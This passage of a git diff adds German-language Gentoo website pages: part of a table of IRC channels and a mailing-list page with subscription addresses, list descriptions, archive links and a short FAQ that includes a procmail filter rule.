+  <ti><uri link="irc://irc.gentoo.org/gentoo-soc">#gentoo-soc</uri></ti>
+  <th>Unsere Teilnahme am Google Summer of Code</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-sunrise">#gentoo-sunrise</uri>
+  </ti>
+  <th>
+    <uri link="/proj/en/sunrise">Prokect Sunrise - Gentoo User Overlay</uri>
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-toolchain">#gentoo-toolchain</uri>
+  </ti>
+  <th>Diskussionen über die Gentoo Toolchain (GCC, libc, binutils, usw.)</th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-treecleaners">#gentoo-treecleaners</uri>
+  </ti>
+  <th><uri link="/proj/en/qa/treecleaners">Gentoo Tree Cleaning Team</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-trustees">#gentoo-trustees</uri>
+  </ti>
+  <th>
+    Die Verwalter der <uri link="/foundation/en/">Gentoo Foundation</uri>
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-userreps">#gentoo-userreps</uri>
+  </ti>
+  <th>
+    Dies ist der Ort, an dem Sie die User Representatives finden und mit ihnen
+    sprechen können
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vbox">#gentoo-vbox</uri></ti>
+  <th>
+    Channel für die Entwicklung und Unterstützung für Virtualbox auf Gentoo
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>Chat über VDR und DVB unter Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vim">#gentoo-vim</uri></ti>
+  <th>Diskussionen über Gentoo Vim</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>Diskussionen über Voice over IP</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vps">#gentoo-vps</uri></ti>
+  <th>Chat über Gentoo Virtual Private Server unter Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-web">#gentoo-web</uri></ti>
+  <th>Alles rund um Web und Webapplikationen (auf Gentoo natürlich)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-wiki">#gentoo-wiki</uri></ti>
+  <th><uri link="/proj/en/wiki">Gentoo Wiki</uri> Diskussionen</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Regionale Support-Channel</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-by">#gentoo-by</uri></ti>
+  <th>На беларускай мове</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>简体中文</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-in">#gentoo-in</uri></ti>
+  <th>Unterstützung für indische Gentoo Benutzer und Übersetzungen</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pl">#gentoo-pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>На русском языке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc:irc.gentoo.org/gentoo-tr">#gentoo-tr</uri></ti>
+  <th>Resmi Gentoo Türkiye kanalı</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ve">#gentoo-ve</uri></ti>
+  <th>Venezuela</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/lists.xml b/xml/htdocs/main/de/lists.xml
new file mode 100644
index 00000000..2cf37fa1
--- /dev/null
+++ b/xml/htdocs/main/de/lists.xml
@@ -0,0 +1,680 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/lists.xml,v 1.8 2010/05/15 13:01:39 keytoaster Exp $ -->
+
+<mainpage lang="de">
+<title>Gentoo Mailing-Listen</title>
+
+<author title="Autor">
+  <mail link="lcars">Andrea Barisani</mail>
+</author>
+<author title="Autor">
+  <mail link="cybersystem">Sascha Schwabbauer</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="curtis119">Curtis Napier</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="nightmorph"/>
+</author>
+<author title="Übersetzer">
+  <mail link="martin_winkler@gmx.de">Martin Winkler</mail>
+</author>
+
+<abstract>
+Gentoo öffentliche Mailing-Listen
+</abstract>
+
+<license/>
+<version>4</version>
+<date>2010-04-09</date>
+
+<chapter>
+<title>Mailing-Listen</title>
+<section>
+<body>
+
+<p>
+Das Gentoo Projekt hat eine Anzahl öffentlicher Mailing-Listen, welche eine
+Vielfalt von Gentoo-bezogenen Themen abdecken. Unsere Mailing-Listen werden mit
+<uri link="http://mlmmj.mmj.dk">mlmmj</uri> betrieben und stellen
+<c>List-Id:</c> Mail-Header und <c>[Listenname]</c> Präfixe zum Betreff zur
+Verfügung, entsprechend moderner Standards und Konventionen zur Verwaltung von
+Mailing-Listen.
+</p>
+
+<p>
+Man kommuniziert mit <c>mlmmj</c> über E-Mail. Um eine Liste zu abonnieren,
+schicken Sie eine leere E-Mail an:
+</p>
+
+<p><c>Listenname+subscribe@lists.gentoo.org</c></p>
+
+<note>
+Ersetzen Sie 'Listenname' durch den tatsächlichen Namen der Liste, die Sie
+abonnieren möchten, zum Beispiel:
+<c>gentoo-user+subscribe@lists.gentoo.org</c>, um die Mailing-Liste <c>gentoo-user</c>
+zu abonnieren.
+</note>
+
+<p>Nachdem Sie die Liste einmal abonniert haben, können Sie Artikel an sie
+senden, indem Sie eine E-Mail schreiben an:</p>
+<p><c>Listenname@lists.gentoo.org</c></p>
+<p>Um das Abonnement einer Liste zu beenden,
+schicken Sie eine leere E-Mail an:</p>
+<p><c>Listenname+unsubscribe@lists.gentoo.org</c></p>
+
+<p>
+Alle unsere Listen haben auch eine entsprechende Liste mit Zusammenstellungen
+(engl.: digest). Die Digest-Listen schicken Ihnen alle paar Tage eine einzige
+E-Mail anstatt individueller E-Mails für jeden einzelnen Beitrag. Wenn Sie die
+Digest-Variante einer Mailing-Liste abonniert haben und das Abonnement beenden
+wollen, müssen Sie sich ausdrücklich von der Digest-Variante abmelden. Unter
+Gebrauch der E-Mail-Adresse, mit der Sie sich an- oder abmelden möchten,
+schicken Sie eine leere E-Mail an die folgenden Adressen, um sich bei einer
+Mailing-Liste entweder an- oder abzumelden:
+</p>
+
+<p>
+<c>Listenname+subscribe-digest@lists.gentoo.org</c><br/>
+<c>Listenname+unsubscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+Einige Anwender möchten vielleicht Beiträge an eine Liste schicken, dabei aber
+keine Mails von ihr empfangen (zum Beispiel diejenigen, die die Listen über
+einen anderen Weg lesen möchten, wie etwa gmane). Diese Anwender können die
+"nomail"-Variante der jeweiligen Liste abonnieren:
+</p>
+
+<p>
+<c>Listenname+subscribe-nomail@lists.gentoo.org</c><br/>
+<c>Listenname+unsubscribe-nomail@lists.gentoo.org</c>
+</p>
+<p>
+Sie können mehr über die Fähigkeiten von mlmmj erfahren, indem Sie eine leere
+Mail an die folgende Adresse schicken:
+</p>
+
+<p>
+<c>Listenname+help@lists.gentoo.org</c><br/>
+</p>
+
+<impo>
+Sie können auch mehr über das Gentoo Mailing-Listen-System und die akzeptablen
+Verhaltensweisen erfahren, indem Sie die kurze Gentoo <uri
+link="#faq">Mailing-Listen FAQ</uri> lesen, die weiter unten in diesem Dokument
+erscheint.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Die primären Gentoo Mailing-Listen</title>
+<body>
+
+<table>
+<tr>
+  <th>Listenname</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>Mailing-Liste zur allgemeinen Anwenderunterstützung und Diskussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>Mailing-Liste für allgemeine Ankündigungen (neue Releases, Behebung von Sicherheitslücken)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>Allgemeine Mailing-Liste für Gentoo-Entwickler</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-announce</c></ti>
+  <ti>Liste für Bekanntmachungen zur Gentoo-Entwicklung</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-project</c></ti>
+  <ti>Zur Diskussion nichttechnischer Angelegenheiten bei Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>Zur Diskussion von Sicherheitsproblemen und diesbezüglicher Fehlerbehebungen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gmn</c></ti>
+  <ti>Monatlicher Gentoo Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>Für Beiträge zur Dokumentation, Vorschläge, Verbesserungen und Übersetzungen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>Abonnieren Sie diese Liste, wenn Sie über Änderungen bezüglich unserer
+  Dokumentation benachrichtigt werden möchten.</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-commits</c></ti>
+  <ti>Abonnieren Sie diese Liste, wenn Sie über Änderungen in unserem CVS- und
+  SVN-Verzeichnisbäumen benachrichtigt werden möchten. Dies ist eine
+  Nur-Lesen-Mailing-Liste mit starkem Verkehr!</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>Zur Diskussion von Übersetzungsangelegenheiten für Dokumente</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>Zur Anwenderunterstützung und Diskussion von Gentoo Linux/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>Für Diskussionen von Gentoo Linux/PowerPC Entwicklern</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>Für Gentoo Linux/Alpha Anwenderunterstützung und Diskussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>Für Gentoo Linux/AMD64 Anwenderunterstützung und Diskussion</ti>
+</tr>
+<!--
+Disabled per vapier's request
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>Discussions about running Gentoo on the ARM architecture</ti>
+</tr>
+-->
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>Diskussionen über das Betreiben von Gentoo auf der HPPA Architektur</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>Für Gentoo Linux/ia64 Anwenderunterstützung und Diskussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>Diskussionen über das Betreiben von Gentoo auf der MIPS Architektur</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>Für Gentoo Linux/Sparc Anwenderunterstützung und Diskussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>Diskussion über Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>Diskussion über Gentoo für Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>Für Gentoo cygwin Anwenderunterstützung und Diskussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>Diskussionen über das <uri link="/proj/en/gentoo-alt/">Gentoo on Alternate Platforms Projekt</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>Releaseankündigungen für gentoo-sources, vesafb-tng, fbsplash und Diskussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>Diskussionen über Energiesparen, pcmcia und andere Laptop-bezogene Dinge</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>Mailing-Liste, die sich Gentoo am Desktop widmet</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>Diskussionen, wie sich Gentoo am Desktop verbessern lässt</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>Diskussionen über das Verbessern der Performance von Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>Für eine sicherheits-gehärtete Version von Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>Diskussionen über Interna von Portage und die
+  Schnittstellenentwicklung von Portage</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>Mailing-Liste, die sich catalyst widmet</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>Diskussionen über Gentoo in Produktionsumgebungen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>Diskussionen über Administrationsthemen in Gentoo Linux</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>Diskussionen über Gentoo in Cluster-Umgebungen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devhelp</c></ti>
+  <ti>Diskussionen und Hilfe für Anwender bei der Entwicklung von Ebuilds</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>Diskussionen zur Web-Konfiguration und -Administration
+  in Bezug auf Gentoos Web-Werkzeuge</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>Für Gentoo Linux/embedded Anwender- und Entwickler-Diskussionen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>Mailing-Liste für das Gentoo Releasemanagement-Team</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>Mailing-Liste für alle Diskussionen zur Öffentlichkeitsarbeit
+  von Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>Diskussionen über Qualitätssicherung und deren Verbesserung in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>Mailing-Liste zur Zusammenarbeit mit Gentoo-Entwicklern</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>Mailing-Liste für Beziehungen zu Gentoo-Anwendern</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>Gentoo Council Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>Ankündigungen und Diskussionen unter Gentoo-Mirror-Administratoren bezüglich Releases und anderer Themen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>Diskussionen zur Unterstützung von Programmiersprachen in Gentoo und verwandten Themen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>Diskussionen zu Perl auf Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>Diskussionen zu Java auf Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>Diskussionen über wissenschaftliche Anwendungen und Integration in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>Diskussionen über Medien-Pakete in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>Diskussionen über GNUstep auf Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>Diskussionen über das <uri link="/proj/en/releng/installer/">Gentoo Linux Installer Projekt</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>Diskussionen über das <uri link="/proj/en/desktop/accessibility/">Gentoo Accessibility Projekt</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>Diskussionen über das <uri link="/proj/en/scire/">Systems Configuration, Installation and Replication Environment Projekt</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>Diskussionen unter Entwicklern im United Kingdom und Organisation von UK-basierten Veranstaltungen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>Diskussionen unter australischen Entwicklern und Organisation lokaler Veranstaltungen</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>Mailing-Liste zur Übersetzung von Gentoo Foren</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>Diskussion über Gentoo-Aktivitäten in Bezug auf Google's Summer of Code</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-lisp</c></ti>
+  <ti>Diskussionen über Lisp auf Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-vdr</c></ti>
+  <ti>Diskussionen über VDR auf Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nfp</c></ti>
+  <ti>Die Gentoo NFP/Trustees Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scm</c></ti>
+  <ti>Diskussionen über die Migration der primären Gentoo Repositories in andere SCMs</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pms</c></ti>
+  <ti>Diskussionen über die Gentoo Package Manager Spezifikation</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Nicht-englische Mailing-Listen</title>
+<body>
+
+<table>
+<tr>
+  <th>Listenname</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>deutschsprachige Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>Brasilianische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-el</c></ti>
+  <ti>Griechische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>Lista para la ayuda y discusion de usuarios hispano-hablantes de Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>Französische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>Ungarische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>Indonesische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>Koreanische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-nl</c></ti>
+  <ti>Holländische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>Polnische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>Tschechische und Slowakische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>Russische Gentoo-Anwender-Mailing-Liste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>Deutscher Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>Spanischer Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>Französischer Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>Holländischer Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>Polnischer Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>Deutsche Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>Griechische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>
+    Lista de correo dedicada a la traduccion y creacion de documentacion en
+    Espanol de Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>Finnische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>Französische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>Ungarische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>Indonesische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>Italienische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>Litauische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>Holländische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>Polnische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>Russische Mailing-Liste zur Übersetzung von Gentoo Dokumentation</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Andere Mailing-Listen</title>
+<body>
+
+<table>
+<tr>
+  <th>Listenname</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>Zur Diskussion der Entwicklung von libconf</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+    Spezialliste für die "Gentoo Bug Wranglers". Diese Mailing-Liste bedarf
+    einer Einladung. Wenn Sie sich anschließen möchten, werden Sie einfach auf
+    Bugzilla aktiv und helfen Sie unseren bestehenden Mitgliedern beim
+    Durchkauen von Fehlern. Sie werden benachrichtigt und eingeladen, ein
+    "Bug Wrangler" zu werden, wenn es angebracht ist.
+  </ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>Widmet sich der Entwicklung der neuen Gentoo Website</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Archive</title>
+<body>
+
+<p>
+Gentoo Mailing-Listen-Archive werden vorgehalten auf<br/>
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>.
+</p>
+
+<p>
+Die folgenden Stellen halten ebenfalls Archive der meisten der Mailing-Listen
+bereit.<br/>
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/>
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+
+<section id="faq">
+<title>Mailing-Listen Mini-FAQ</title>
+<body>
+
+<p>
+<b>Ich habe eine Liste mit meiner privaten E-Mail-Adresse abonniert, aber ich
+kann vom Arbeitsplatz aus nicht an diese Liste senden. Wie kann ich das Problem
+beheben?</b>
+</p>
+
+<p>
+Um Spam zu reduzieren, sind alle unsere Listen so konfiguriert, dass sie nur
+Beiträge von E-Mail-Adressen offizieller Abonnenten erlauben.
+Glücklicherweise unterstützt <c>mlmmj</c> "nomail"-Abonnements, die es Ihnen
+erlauben, andere E-Mail-Adressen zu registrieren, die nur dazu benutzt werden
+können, an die Liste zu senden. Hier ein Beispiel, wie dies funktioniert:
+Nehmen wir an, Sie haben die Liste <c>gentoo-dev</c> als <c>jim@home.com</c>
+abonniert, aber Sie möchten auch mit Ihrer <c>james@work.com</c>
+E-Mail-Adresse an die Liste senden. Um dies zu erreichen, schicken Sie (als
+<c>james@work.com</c>) eine Nachricht an
+<c>gentoo-dev+subscribe-nomail@lists.gentoo.org</c>.
+Dann sollte es Ihnen möglich sein, an <c>gentoo-dev</c> sowohl mit ihrer
+privaten als auch mit Ihrer geschäftlichen E-Mail-Adresse zu senden.
+</p>
+
+<p>
+In Übereinstimmung mit dem eigentlichen Ziel, Spam zu vermeiden, werden Ihre
+Mails nach /dev/null versendet, wenn Sie an eine Liste senden und die
+Absenderadresse die Liste nicht abonniert hat. Sie erhalten <b>keine</b>
+Bounce-Nachrichten von unseren Servern. Dadurch wird vermieden, dass Spammer
+Ihre Adresse fälschen können, um Ihnen einen Bounce zu schicken.
+</p>
+
+<p>
+<b>Ich möchte zwischen normaler Zustellung und gesammelter (digest) Zustellung
+wechseln. Wie erreiche ich das?</b>
+</p>
+
+<p>
+Beenden Sie das Abonnement der normalen Liste und abonnieren Sie die
+Digest-Liste. Für die Liste <c>Listenname</c> ginge das durch das Senden leerer
+E-Mails an die folgenden beiden Adressen:
+</p>
+
+<p><c>Listenname+unsubscribe@lists.gentoo.org</c><br/>
+<c>Listenname+subscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+<b>Wie verwende ich procmail, um Nachrichten der Gentoo Mailing-Listen
+zu filtern?</b>
+</p>
+
+<p>
+Um von der Liste <c>Listenname</c> eingehende E-Mails zu filtern,
+benutzen Sie die folgende <c>procmail</c>-Regel:
+</p>
+
+<pre caption="procmail Beispielregel">
+:0:
+* ^List-Id:.*Listenname\.gentoo\.org
+Mail/Listenname
+</pre>
+
+<p>
+Auf dieselbe Weise würden Sie eingehende
+<e>Mailman</e>-Mailing-Listen-Manager-Mails filtern.
+</p>
+
+
+<p>
+<b>Verschiedene Listen-Richtlinien</b>
+</p>
+
+<p>
